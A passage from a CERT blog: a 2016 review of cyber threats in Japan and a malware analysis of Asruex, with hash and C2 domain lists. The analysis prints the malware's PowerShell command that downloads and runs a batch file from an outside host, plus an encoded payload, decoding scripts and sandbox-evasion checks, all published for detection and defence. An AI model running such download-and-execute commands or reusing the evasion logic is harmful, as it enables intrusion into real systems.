  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination
  • area.wthelpdesk.com
  • dick.ccfchrist.com
  • kawasaki.cloud-maste.com
  • kawasaki.unhamj.com
  • sakai.unhamj.com
  • scorpion.poulsenv.com
  • trout.belowto.com
  • zebra.wthelpdesk.com
  • hamiltion.catholicmmb.com
  • gavin.ccfchrist.com

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura


[1] http://www.lac.co.jp/security/report/pdf/cgview_vol2_en.pdf

[2] http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html

[3] https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

[4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/

[6] http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/

[7] http://blog.trendmicro.co.jp/archives/13683

Jun 30, 2016

Asruex: Malware Infecting through Shortcut Files

JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015. When this shortcut file is opened, the host will be infected with malware called “Asruex”. The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets’ network using the malware. According to a blog article by Microsoft, the malware is associated with an attacker group identified as “DarkHotel” (Microsoft calls it as "Dubnium") [1]. This blog entry will introduce the details of Asruex.

Infection Mechanism of Asruex

Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.

Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex

For those cases that JPCERT/CC has observed, when the shortcut file is opened, a downloader is downloaded from a C&C server and then executed. The downloader then downloads Asruex from another C&C server, which is then executed. Detailed behaviour observed in each phase will be explained in the next section.

Details of the Shortcut File

When the malicious shortcut file is opened, the following PowerShell command in the file is executed.

powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a                                    """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"

The above PowerShell command downloads a file from the specified URL, and it is saved as a batch file to be executed. The batch file contains the following commands, which execute PowerShell scripts (marked in red).

powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001 
cd "%tmp%" 
start winword "article_draft.docx" 
copy "article_draft.docx" "%1" 
del /f "%1\*.*.lnk" 

When the batch file is executed, a Windows executable file (a downloader) and a dummy file for display will be downloaded from a C&C server, saved in %TEMP% folder and then executed. Those decoy documents are written in Japanese, but some are also in Chinese, which implies that the target for this attack is not limited to Japanese organisations.

Details of the Downloader

When the downloader is executed, it downloads a .jpg or .gif image file. Encoded Asruex is contained in the latter part of the image file. The downloader decodes it and then executes the malware.

Figure 2: An Image File Containing Encoded Asruex

Asruex contained in the image file is encoded using XOR. The following Python script is used for decoding the encoded data of the image file. The size of the encoded data is specified in the last 4 bytes of the image file.

key = 0x1D  # Keys may vary depending on the sample
for i in range(0, length):
    buf[i] = chr(ord(buf[i]) ^ key)
    key += 0x5D
    key &=0xff

The downloader may contain an encoded executable file of Process Hacker (a multi-function task manager), and it may execute the Process Hacker if an anti-virus software is detected. Anti-virus software such as by Symantec, McAfee and Kaspersky, etc., are detected based on the process names.

Details of Asruex

Asruex is a kind of malware that communicates with the C&C server over HTTP, and executes the command received through the communication. It has various anti-analysis features such as preventing the malware from running when it detects a virtual machine. Please refer to Appendix A for conditions which Asruex detects a virtual machine. The malware is also capable of detecting anti-virus software.

If Asruex does not detect a virtual machine, it executes one of the following executable files, and injects a DLL file which is contained in Asruex. In case where it detects anti-virus software, Asruex generates a DLL file and loads it to itself (but does not perform DLL injection). This DLL file contains the core functions of Asruex.

  •  sdiagnhost.exe
  •  wksprt.exe
  •  taskhost.exe
  •  dwm.exe
  •  winrshost.exe
  •  wsmprovhost.exe
  •  ctfmon.exe
  •  explorer.exe

The DLL injected, or generated and loaded, sends an HTTP request to a dummy host. If it receives a reply of status code that is 100 or greater, it connects to an actual C&C server as follows:

GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91
62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217 –omitted- HTTP/1.1
Connection: Keep-Alive
Content-Type: text/plain; charset=utf-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Host: [host name]

Asruex operates based on the configuration information stored in itself. The configuration Information includes C&C servers and dummy hosts that it connects to, and also version information and a key to decode data which is delivered. For further details on the configuration information, please refer to Appendix B.

The configuration information is encoded. It can be decoded with the following Python code:

(config_size,) = struct.unpack("=I", data[offset:offset+4])
config_offset = offset + 4
encode_config = data[config_offset:config_offset+config_size]
i = 0
seed = config_size * 2  // It does not necessarily double
while i < config_size:
    (result, seed) = rand_with_seed(seed)
    result &= 0xff
    decode_data.append(chr(ord(encode_config[i]) ^ result))
    i += 1
decode_config =  "".join(decode_data)
(decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size])
config = lznt1_decompress(decode_config, config_size, decode_size)

Asruex executes commands that are received from a C&C server. Commands that are possibly executed are listed in Table 1. Most of the commands are used for collecting information, but some are for downloading DLL files (AdvProv.dll) from C&C servers and for executing them. AdvProv.dll is a plug-in to expand functions of Asruex.

Table 1: Commands used by Asruex
1 Collect information of infected hosts
2 Obtain process list
3 Obtain file list
4 Change waiting time
5 Obtain version information
6 Uninstall
501 Obtain folder list
502 Load DLL
- Execute external DLL (AdvProv.dll)

Details of AdvProv.dll

AdvProv.dll is encrypted using XOR and 3DES. Decryption key is calculated based on the destination URL and the encoding key of the configuration information. Asruex downloads a DLL, loads it into the memory and executes DLL’s export function, Get_CommandProc. AdvProv.dll adds the following commands to Asruex:

Table 2: Asruex Commands added by AdvProv.dll
101 Download
102 Copy a file
103 Change a file name
104 Change file time
105 Delete a file
106 Terminate a process
107 Search a registry
108 Show a registry entry
109 Create a registry entry
110 Show a registry entry
111 Delete a registry entry
112 Update
601 Download and execute a file

Samples of AdvProv.dll that JPCERT/CC has observed had the listed functions. However, there may be some other versions with different functions.


Asruex is a relatively new kind of malware that has been seen since around October 2015. It is likely that targeted attacks using Asruex will continue.

Hash values of artifacts demonstrated in this article are described in Appendix C. Also, destination URLs confirmed by JPCERT/CC are listed in Appendix D. It is recommended to make sure that the hosts you use are not accessing these URLs.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Microsoft - Reverse-engineering DUBNIUM

Appendix A: Conditions where Asurex detects an analysis environment

If Asruex detects itself being operated in an environment under any of the following conditions (Table A-1 to A-6), it recognises that it is an analysis environment and stops running.

Table A-1: The user matches the computer name and user name as listed.

Table A-2: Listing up the loaded modules, and if the listed functions are found to be exported.

Table A-3: The listed file names are found.

Table A-4: The listed process names are running.

Table A-5: Listing up the process modules that are running, and the module version matches the combination listed.

Table A-6: The disk name contains the listed strings.

Table A-1: Detectable Combination of Computer Name and User Name
Computer NameUser Name
BRBRB-D8FB22AF1 antonie
HBXPENG makrorechner
IOAVM Administrator
XANNY Administrator
NONE-DUSEZ58JO1 Administrator
rtrtrele Administrator
DELL-D3E64F7E26 Administrator
JONATHAN-C561E0 Administrator
HANS HanueleBaser
IePorto Administrator

Table A-2: Detectable Functions

Table A-3: Detectable File Names
File Names
[System Drive]:\cuckoo

Table A-4: Detectable Process Names
Process Names

Table A-5: Detectable Combinations of File Version Information
SysinternalsRegistryMonitor Sysinternals
ProcessMonitor Sysinternals
TCP/UDPendpointviewer Sysinternals
Wireshark TheWiresharkdevelopercommunity
Dumpcap TheWiresharkdevelopercommunity
Regshot RegshotTeam
CurrPorts NirSoft
SmartSniff NirSoft
SocketSniff NirSoft

Table A-6: Detectable Disk Names
Disk Name
Virtual HD
MS VirtualSCSI Disk Device
Appendix B: Configuration Information
Table B-1: List of Configuration Information
0x000 16 ID
0x010 4 Version Information
0x014 256 Install Path
0x114 64 * 3 Dummy URLs to connect to × 3
0x1D4 256 * 3 HTTP Access URLs × 3
0x4D4 256 Sending data store path 1
0x5D4 64 Sending data strings 1
0x614 256 Sending data store path 2
0x714 64 Sending data strings 2
0x754 64 Encode key
0x794 4 Suspension time
0x798 256 * 3 File name × 3
0xA98 4 Machine information (pointer)
0xA9C 4 Connect destination (pointer)
0xAA0 4 Not in use

Encode keys

  •  blackolive
  •  darktea
  •  12qw@#WE
Appendix C: SHA-256 Hash Value of Artifacts

Shortcut files:

  • c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
  • ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
  • 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
  • b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
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  • e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
  • 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe


  • fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
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  • caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
  • 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
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  • a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
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  • a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
  • 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
  • 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
  • 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
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  • 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
  • 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5


  • 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
  • a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
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  • 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
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  • 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c


  • f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc


  • 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
  • e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
  • 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D: Hosts that Asruex connects to
  •  vodsx.net
  •  office365-file.com
  •  service365-team.com
  •  datainfocentre.com
  •  eworldmagazine.org
  •  supportservice247.com
  •  seminarinfocenter.net
  •  vdswx.net
  •  housemarket21.com
  •  product-report24.com
  •  requestpg.net
  •  secu-docu.net
  •  send-error.net
  •  send-form.net
  •  wzixx.net
  •  login-confirm.com
  •  2.gp
  •  2.ly
  •  online-dropbox.com
  •  sendspaces.net
  •  institute-secu.org
  •  pb.media-total.org
  •  response-server.com
  •  enewscenters.com
  •  sbidnest.com
  •  servicemain.com